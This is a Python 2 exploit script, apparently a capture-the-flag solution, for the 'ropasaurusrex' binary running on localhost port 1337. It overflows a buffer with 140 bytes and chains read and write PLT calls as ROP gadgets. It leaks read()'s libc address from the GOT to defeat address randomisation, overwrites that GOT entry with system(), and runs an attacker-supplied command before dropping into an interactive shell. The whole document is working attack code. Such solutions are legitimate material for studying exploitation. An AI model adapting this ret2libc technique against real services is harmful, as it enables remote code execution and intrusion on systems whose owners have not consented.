#!/usr/bin/python
import os, sys, socket
import struct
import telnetlib

addr = ('127.0.0.1', 1337)

cmd = sys.argv[1]+"\0"

#see writeable sections objdump -x ropasaurusrex
#read() in libc offset (ldd ropasaurusrex copy libc path)
#and (objdump -d /lib/i386-linux-gnu/i686/cmov/libc.so.6 | grep _read)
#for system (objdump -d /lib/i386-linux-gnu/i686/cmov/libc.so.6 | grep _system)
libcread_offset = 0xdbe90
libcsystem_offset = 0x3e3e0


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

payload = "A"*140

#write stdin .dynamic using read@plt
payload += struct.pack("<I", 0x0804832c) #read() call loc (objdump -d ropasaurusrex | grep read)
payload += struct.pack("<I", 0x080484b6) #pppr (ROPgadget --binary ropasaurusrex)
payload += struct.pack("<I", 0) #stdin
payload += struct.pack("<I", 0x08049530) #.dynamic (objdump -x ropasaurusrex)
payload += struct.pack("<I", len(cmd)) #length of cmd

#leak addr of read() in randomized libc
payload += struct.pack("<I", 0x0804830c) # write() call loc (objdump -d ropasaurusrex | grep write)
payload += struct.pack("<I", 0x080484b6) #pppr (ROPgadget --binary ropasaurusrex)
payload += struct.pack("<I", 1) #stdout
payload += struct.pack("<I", 0x0804961c)# read() in GOT (objdump -R ropasaurusrex)
payload += struct.pack("<I", 4) #len of read() address

#call read@plt to overwrite the ptr stored in read()'s entry in GOT
payload += struct.pack("<I", 0x0804832c) #read() call loc (objdump -d ropasaurusrex | grep read)
payload += struct.pack("<I", 0x080484b6) #pppr (ROPgadget --binary ropasaurusrex)
payload += struct.pack("<I", 0) #stdin
payload += struct.pack("<I", 0x0804961c)# read() in GOT (objdump -R ropasaurusrex)
payload += struct.pack("<I", 4) #len of read() address

#call read@plt = addr of system() in libc
payload += struct.pack("<I", 0x0804832c) #read() call loc (objdump -d ropasaurusrex | grep read)
payload += "BBBB" #bogus retn addr
payload += struct.pack("<I", 0x08049530) #.dynamic #system() arg (objdump -x ropasaurusrex)



s.connect(addr)

s.send(payload)
s.send(cmd)
#calculate system() addr and send back
readaddr = struct.unpack("<I", s.recv(1024))[0]
print "libc read() found at 0x%.8x" % readaddr
systemaddr = readaddr - libcread_offset + libcsystem_offset
print "libc system() found at 0x%.8x" % systemaddr
s.send(struct.pack("<I", systemaddr))

#pass in /bin/sh to get shell
t = telnetlib.Telnet()
t.sock = s
t.interact()

print s.recv(1024)

s.close()